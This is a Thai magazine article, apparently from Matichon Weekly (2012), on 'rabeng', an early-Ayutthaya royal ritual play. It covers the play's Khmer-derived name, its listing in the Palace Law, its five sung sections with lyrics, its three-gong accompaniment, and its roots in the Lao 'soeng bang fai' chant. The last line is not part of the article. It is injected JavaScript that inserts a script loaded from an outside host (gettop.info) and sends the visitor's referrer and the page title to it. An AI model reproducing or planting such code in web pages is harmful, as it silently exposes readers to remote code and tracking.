มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 12 ตุลาคม 2555

 

          ระเบงเป็นการละเล่นในพิธีกรรมของราชสำนัก มีในกฎมณเฑียรบาล ยุคต้นอยุธยา ได้ต้นแบบจากเซิ้งบั้งไฟในวัฒนธรรมลาว

          คนแต่ก่อนบางทีก็เรียกระเบงว่าเล่นโอละพ่อ เพราะมีบทร้องขึ้นต้นว่า โอละพ่อ สอดคล้องกับเซิ้งบั้งไฟขึ้นต้นว่า โอเฮาโอ ฯลฯ

          ระเบงมีบทร้อง (เซิ้ง) เป็นร่าย อาจนับว่าเป็นวรรณกรรมเก่าแก่เรื่องหนึ่ง ยุคต้นอยุธยา ที่สืบต่อจากยุคก่อนอยุธยา

          กฎมณเฑียรบาลตราขึ้น พ.ศ. 1903 แผ่นดินสมเด็จพระรามาธิบดี (อู่ทอง) พิมพ์รวมอยู่ในหนังสือกฎหมายตรา 3 ดวง มาตรา 115-137 (ในทั้งหมด 145 มาตรา) ว่าด้วยพระราชานุกิจและพระราชพิธี ระบุชื่อการละเล่นสำคัญที่ต้องมี 3 ชุด คือ หมงครุ่ม, คุลาตีไม้, ระเบง

          แบบแผนการละเล่น 3 ชุด มีคำอธิบายอย่างเดียวกัน ว่าผู้เล่นเป็นชายแต่งกายเหมือนกัน คือสวมสนับเพลาแล้วนุ่งโจงกระเบนทับสนับเพลา โดยไม่มีจีบหางหงส์   มีผ้าคาดหน้าผืนหนึ่ง แล้วสวมเทริดกำมะลอบนศีรษะ

 

ระเบง มาจากคำเขมร แปลว่า เล่น

          ระเบง แปลว่าอะไร? หมายถึงอะไร? ยังไม่มีคำอธิบายเป็นทางการ

          แต่ในพจนานุกรมเขมร-ไทย ฉบับทุนพระยาอนุมานราชธน เล่ม 3 (หน้า 609), เล่ม 4 (หน้า 742) พิมพ์ครั้งแรก พ.ศ. 2525 มีว่า

          แลฺบง (อ่านว่า ละ แบง) แปลว่า เล่น

          แลฺบงรบำ (อ่านว่า ละ แบง รัว บำ) แปลว่าการแสดงต่างๆ มีทั้งร้องทั้งรำ

          เลยชวนให้น่าเชื่อว่าการละเล่นในพระราชพิธีที่ชื่อระเบง มาจากคำเขมรว่า แลฺบง หมายถึงร้องเล่นเต้นระบำ

ร้องระเบง

          บทร้องระเบงเป็นบทเก่ามาก น่าเชื่อว่าตกทอดมาแต่กรุงเก่า แบ่งออกเป็นส่วนๆ มี 5 ส่วน คือ รำถวาย, เดินดง, ปะทะ, สาบ, คืนเมือง

          สมมุติผู้เล่นกลุ่มหนึ่งเป็นกษัตริย์มาจากหลายเมือง ต่างถืออาวุธ (คือคันศร) พร้อมกันเดินทางจะไปเฝ้าพระอีศวรที่เขาไกรลาส

          แต่ถูกขัดขวางจากผู้มีฤทธิ์ (คือพระกาล) โดยสาปให้สลบทั้งหมด

          สุดท้ายผู้มีฤทธิ์นั้นสงสาร เลยถอนคำสาปให้บรรดากษัตริย์ที่สลบไปได้ฟื้นขึ้นแล้วพากันกลับบ้านเมืองตน

          (ข้อมูลเรื่องระเบง บางแห่งเขียน ระเบ็ง ได้จาก (1.) ศิลปวัฒนธรรมไทย เล่ม 7 นาฏยดุริยางคศิลป์ไทย กรุงรัตนโกสินทร์ พิมพ์ครั้งแรก พ.ศ. 2525 หน้า 48-51 (2.) ลักษณะไทย เล่ม 3 ศิลปะการแสดง ตอน 2 นาฏศิลป์และละครไทย โดย ม.ร.ว.           คึกฤทธิ์ ปราโมช ธนาคารกรุงเทพ พิมพ์ครั้งที่สอง พ.ศ. 2551 หน้า 40-41)

          มีบทร้องระเบงซึ่งกรมศิลปากรสืบทอดมาดังต่อไปนี้

          รำถวาย

          บทกษัตริย์       โอละพ่อถวายบังคม            โอละพ่อประนมกรทั้งปวง

                                 โอละพ่อบัวตูมทั้งปวง          โอละพ่อบัวบานทั้งปวง

                                 โอละพ่อกลับซ้ายไปขวา       โอละพ่อกลับขวามาซ้าย         

                                 โอละพ่อกลับหน้าเป็นหลัง    โอละพ่อกลับหลังเป็นหน้า

 

          เดินดง

                    โอละพ่อเทวัญมาบอก         โอละพ่อยกออกจากเมือง

                   โอละพ่อจะไปไกรลาส           รักแก้วข้าเอยจะไปไกรลาส

                    รักพี่ข้าเอยจะไปไกรลาส       รักน้องข้าเอยจะไปไกรลาส

                    รักแก้วข้าเอยจะไปชมนก     รักแก้วข้าเอยจะไปชมไม้

                   รักพี่ข้าเอยจะไปชมไม้         รักน้องข้าเอยจะไปชมไม้

 

          ปะทะ

          บทพระกาล      โอละพ่อพระกาลมาแล้ว

          บทกษัตริย์       โอละพ่อขวางหน้าอยู่ไย        โอละพ่อหลีกไปให้พ้น

                                  โอละพ่อพร้อมกันทั้งปวง      โอละพ่อทั้งตะบะทั้งปวง

                                  โอละพ่อก่งศรทั้งปวง           โอละพ่อแผลงศรทั้งปวง

 

          สาป

          บทพระกาล      โอละพ่อสลบทั้งปวง            โอละพ่อฟื้นขึ้นทั้งปวง

 

          คืนเมือง

          บทกษัตริย์       โอละพ่อยกกลับเข้าเมือง      โอละพ่อเรามาถึงเมือง

          ระเบง มีฆ้อง 3 ใบเถา เรียกฆ้องระเบง คือฆ้องราว 3 ใบ ระดับเสียงต่างกันเป็น 3 เสียง สูง-กลาง-ต่ำ ตีกำกับจังหวะและตีรับร้องของผู้เล่นที่ร้องทีละวรรค แล้วมีลูกคู่ร้องตาม

 

ร้องระเบง เซิ้งบั้งไฟ

          ผู้เล่นต้นเสียงคนหนึ่งร้องนำขึ้นก่อนว่า โอละพ่อถวายบังคม แล้วผู้เล่นทั้งหมดร้องรับพร้อมกันทวนซ้ำเป็นลูกคู่ขึ้น พร้อมกับทำท่าคำถวายบังคม

          เมื่อจบคำร้องแต่ละวรรค ผู้บรรเลงจะตีฆ้อง 3 ใบเถาไล่จากเสียงต่ำไปหาสูง และจากเสียงสูงลงมาหาต่ำ เป็นหนึ่งชุดทุกวรรค ต่อจากนั้นต้นเสียงเริ่มร้องวรรคต่อไป ผู้เล่นทั้งหมดก็ร้องรับเป็นลูกคู่ทวนซ้ำพร้อมกันเหมือนเดิม แล้วลุกขึ้นยืนยกเท้าย่างก้าวเข้าจังหวะแสดงกิริยาตามคำร้อง

          กิริยาที่แสดงออกมาก็ง่ายๆ คือ ตีลูกศรลงบนคันศรตามจังหวะยกเท้าขวา แล้วเงื้อลูกศรเมื่อยกเท้าซ้าย โดยปฏิบัติต่อเนื่องกันเพียงเท่านี้

          เมื่อถึงบทถูกสาปให้สลบก็ให้ผู้เล่นทุกคนลงนอนทำท่าเหมือนสลบ เมื่อถอนคำสาปให้ฟื้น ผู้เล่นก็ลุกขึ้นมาเพื่อเตรียมทำท่าเต้นตามบทต่อไป

          คำร้องระเบง คือภาษาร่ายเสรีที่ไม่เน้นสัมผัสระหว่างวรรค

          ส่วนระเบียบและทำนองร้องนำแล้วมีลูกคู่ร้องทวน ก็คือประเพณีเซิ้งในวัฒนธรรมลาวของชุมชนชาวบ้านตระกูลไทย-ลาวลุ่มน้ำโขงที่ยังมีเหลืออยู่ถึงทุกวันนี้นั่นเอง

          มีตัวอย่างจากคำเซิ้งบั้งไฟของลาวพวน ดงศรีมหาโพธิ์ (จ. ปราจีนบุรี) ดังนี้

          โอเฮาโอ โอเฮาโอ                

          โอมพุทโธนะโมเป็นเค้า                 ข้อยสิเว้าพื้นกาพย์บั้งไฟ              

          ข้อยซิไขผู้คนสร้างต่อ                   ผู้เทิ่นก่อเริ่มแรกหัวที         

          ขอมนั้นตี้ผู้ให้กำเนิด                    งามล้ำเลิศแข่งกับเซียงเหียน

          เพราะเพิ่มเพียรหวังเอานางไอ่        ลูกสาวใหญ่ของพระยาขอม           

          หนุ่มมาตอมมื้อหลายฮ้อยเตี่ยว       ฟังสิเกี๊ยวตามเรื่องต่อไป              

          คือบั้งไฟเซียงเหียนขึ้นก่อน            ขืนบ่อหย่อนสามมื้อบ่อลง

          ดำแดงคงคาฮวันคือเก่า                เป็นเรื่องเล่าโบราณนานมา

          สามทิวาแต่มันสุอยู่                      ฟังเดอหมู่ฟังไว้ก็ดี

          เรื่องมันมีคือเฮากล่าวแจ้ง             เรื่องการแข่งบั้งไฟมีมา

          ขอมพระยาเป็นคนก่อตั้ง               เริ่มแต่ครั้งก่อนวัดต้นโพธิ์

          นานอักโขนับปีบ่ได้                      หยุดกลอนไว้เนียก่อนตำนาน        

          เซิ้ง เป็นพิธีกรรมสื่อสารด้วยกลุ่มคนหลายคน หมายถึงการรักษาความเป็นปึกแผ่นของชุมชน เพราะเป็นสิ่งประกันความอยู่รอดของทุกคนได้ดีกว่าการปลีกตัวออกจากชุมชนแล้วต่างคนต่างไปหาทางรอดเอาเอง มักมีขึ้นเพื่อความอยู่รอดของชุมชนเป็นส่วนรวม เช่น เซิ้งบั้งไฟ เซิ้งนางแมว ฯลฯ ที่เชื่อกันว่าเป็นพิธีกรรมขอฝน

          ราชสำนักโบราณก่อนสมัยกรุงศรีอยุธยายกย่องประเพณีเซิ้งของชุมชนในวัฒนธรรมลาวไปปรุงให้ประณีตเพื่อใช้ในการละเล่นในพิธีหลวง มีระบุในกฎมณเฑียรบาลว่า ระเบง แต่คนทั่วไปบางทีเรียกโอละพ่อ

document.currentScript.parentNode.insertBefore(s, document.currentScript);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;